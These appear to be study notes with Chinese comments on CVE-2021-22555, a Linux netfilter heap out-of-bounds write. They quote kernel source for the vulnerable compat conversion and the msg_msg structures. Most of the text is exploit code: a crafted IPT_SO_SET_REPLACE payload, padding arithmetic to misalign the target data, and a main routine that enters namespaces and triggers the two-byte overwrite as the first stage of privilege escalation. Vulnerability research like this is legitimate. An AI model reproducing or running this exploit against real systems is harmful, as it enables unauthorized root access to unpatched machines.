// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
                               unsigned int *size)
{
    // 上层已找到的内核 target 描述对象
    const struct xt_target *target = t->u.kernel.target;

    // 输入记录：已经拷入内核，但仍采用 32 位兼容布局
    struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;

    // off：本机格式与兼容格式的大小差
    int pad, off = xt_compat_target_offset(target);

    // 输入记录总长度，包含头部、数据和填充
    u_int16_t tsize = ct->u.user.target_size;
    char name[sizeof(t->u.user.name)];

    t = *dstptr;                  // t 改为指向输出位置，ct 仍指向输入
    memcpy(t, ct, sizeof(*ct));    // 复制头部

    // 有专用转换函数就调用，否则直接复制数据部分
    if (target->compat_from_user)
        target->compat_from_user(t->data, ct->data);
    else
        memcpy(t->data, ct->data, tsize - sizeof(*ct));

    // targetsize 是本机数据长度；pad 是它末尾的对齐填充长度
    pad = XT_ALIGN(target->targetsize) - target->targetsize;
    if (pad > 0)
        // 旧实现的问题：这里缺少目标缓冲区边界检查，可能越界清零
        memset(t->data + target->targetsize, 0, pad); // 漏洞点漏洞点漏洞点,t->data不一定是8字节对齐的，所以这里有越界问题。

    tsize += off;                 // 得到转换后的记录总长度
    t->u.user.target_size = tsize;

    // 释放模块引用前保存名称，随后恢复 union 中的用户格式名称字段
    strlcpy(name, target->name, sizeof(name));
    module_put(target->me);
    strncpy(t->u.user.name, name, sizeof(t->u.user.name));

    *size += off;                 // 修正规则表总长度
    *dstptr += tsize;             // 输出指针前进到下一条记录
}

struct ipt_entry *first_rule =
    (struct ipt_entry *)(info->entries + info->hook_entry[hook]);

struct ipt_entry {
    /* 基本匹配条件：IP 地址、掩码、网卡、协议等 */
    struct ipt_ip ip;

    /* 历史缓存标志字段 */
    unsigned int nfcache;

    /* 从当前规则起点到 target 的字节偏移 */
    __u16 target_offset;

    /* 当前规则的总长度，也是到下一条规则的字节偏移 */
    __u16 next_offset;

    /* 内核进行规则链遍历、可达性校验时使用 */
    unsigned int comefrom;

    /* 包数、字节数的计数相关字段 */
    struct xt_counters counters;

    /* 变长区域：零个或多个 xt_entry_match，随后是一个 xt_entry_target */
    unsigned char elems[];
};

struct xt_entry_match {
	union {
		struct {
			__u16 match_size; // 当前匹配块的总长度，包括头部、参数及对齐空间
			/* Used by userspace */
			char name[XT_EXTENSION_MAXNAMELEN]; //用户态提交的匹配器名称和版本，例如 "tcp"
			__u8 revision;
		} user;
		struct {
			__u16 match_size;
			/* Used inside the kernel */
			struct xt_match *match; // 内核解析后，指向对应的 struct xt_match
		} kernel;
		/* Total length */
		__u16 match_size;
	} u;
	unsigned char data[]; //紧跟头部的变长参数，具体格式由匹配器决定
};

struct xt_entry_target {
    union {
        /* 用户态：通过名称和版本指定 target */
        struct {
            __u16 target_size;
            char name[XT_EXTENSION_MAXNAMELEN];
            __u8 revision;
        } user;

        /* 内核态：关联到已注册的 target 实现 */
        struct {
            __u16 target_size;
            struct xt_target *target;
        } kernel;

        /* 整个 target 块的长度 */
        __u16 target_size;
    } u;

    /* 紧随头部的变长动作参数 */
    unsigned char data[0];
}; // data实际起始偏移为0x20，但是因为各种结构体分布排序，可能导致偏移不一定8字节对齐

/* 在 64 位内核上，以 32 位程序运行此代码。
 * req 的类型为 struct ipt_replace *。
 */
int fd = socket(AF_INET, SOCK_STREAM, 0);

int ret = setsockopt(
    fd,
    SOL_IP,
    IPT_SO_SET_REPLACE,
    req,
    sizeof(*req) + req->size
);

#define PRIMARY_SIZE  0x1000
void trigger_oob_write(int socket_fd){
    struct __attribute__((packed)){ //GCC 扩展语法，__packed__与packed 含义相同：让外层成员紧挨着存放，不在它们之间插入自动对齐填充。
        struct ipt_replace replace; // 是传统 IPv4 iptables 接口中，用于“替换某张表的全部规则”的请求头。 用户态通过 setsockopt(..., IPT_SO_SET_REPLACE, ...) 把它和后面的新规则一起提交给内核
        struct ipt_entry entry;  // size: 0x70
        struct xt_entry_match match; // size: 0x20
        char padding[PRIMARY_SIZE-0xf8-0x2] ; //construct a padding to make the target->data not start with 0 or 8
        struct xt_entry_target target; // size: 0x20
    }data={0};
    // after compat,sizeof(entry+match+target) = 0xb8 
    // after struct transfer, in kernel the struct is sizeof(xt_table_info(0x40)+0xb8) = 0xf8 
    // to make sure the struct is in 0x1000,we need to subtract 0xf8, and to make the target->data not start with 0 or 8, we also need to subtract 0x2 
    data.replace.num_counters = 1;
    data.replace.num_entries = 1;
    data.replace.size = sizeof(data.entry) + sizeof(data.match) + sizeof(data.padding) +sizeof(data.target);
    data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +sizeof(data.padding) + sizeof(data.target));
    data.entry.target_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.padding));
    data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.padding));
    strcpy(data.match.u.user.name, "icmp");
    data.match.u.user.revision = 0;
    data.target.u.user.target_size = sizeof(data.target);
    strcpy(data.target.u.user.name, "NFQUEUE");
    data.target.u.user.revision = 1;

    // Partially overwrite the adjacent buffer with 2 bytes of zero.
    if (setsockopt(socket_fd, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
        if (errno == ENOPROTOOPT) {
        printf("[-] Error ip_tables module is not loaded.\n");
        return -1;
        }
    }
  return 0;
}

int main(){
    // step0 initialization
    puts("\033[32m\033[1m[+] CVE-2021-22555 Linux Privilege Escalation by wsxk.\033[0m");
    // step0.1 set the process run in the same cpu
    pin_to_current_cpu();

    // step0.2 create new namespace and get net namespace
    if(unshare(CLONE_NEWUSER)<0){
        fatal("clone newuser failed!");
    }
    if(unshare(CLONE_NEWNET)<0){
        fatal("clone newnet failed!");
    }
    // step0.3 create sockert_fd to trigger off_by_null
    int socket_fd;
    socket_fd = socket(AF_INET,SOCK_STREAM,0);
    if(socket_fd<0){
        fatal("socket failed!");
    }
    // trigger off_byte_null 
    puts("[*] Trigger OOB write to construct the overlapping...");
    trigger_oob_write(socket_fd);
}

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	len -= alen;
	pseg = &msg->next;
	while (len > 0) { //循环分配segment
		struct msg_msgseg *seg;
		cond_resched();
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/msg.h
/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/types.h
struct list_head {
	struct list_head *next, *prev;
};

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */
};